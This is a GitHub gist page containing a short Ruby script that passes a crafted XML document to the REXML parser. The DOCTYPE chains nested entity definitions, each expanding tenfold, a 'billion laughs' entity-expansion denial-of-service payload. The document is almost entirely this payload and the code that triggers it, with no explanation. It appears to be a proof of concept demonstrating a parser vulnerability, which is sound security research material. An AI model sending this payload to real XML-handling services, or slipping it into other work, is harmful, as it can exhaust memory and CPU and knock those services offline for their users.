Skip to content

Instantly share code, notes, and snippets.

@tokuhirom
Created August 27, 2008 01:51
Show Gist options
  • Save tokuhirom/7396 to your computer and use it in GitHub Desktop.
Save tokuhirom/7396 to your computer and use it in GitHub Desktop.
require 'rexml/document'
source = <<"..."
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE member [
<!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
<!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
<!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
<!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
<!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
]>
<member>
&a;
</member>
...
doc = REXML::Document.new(source)
p doc.root.children.first.value
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment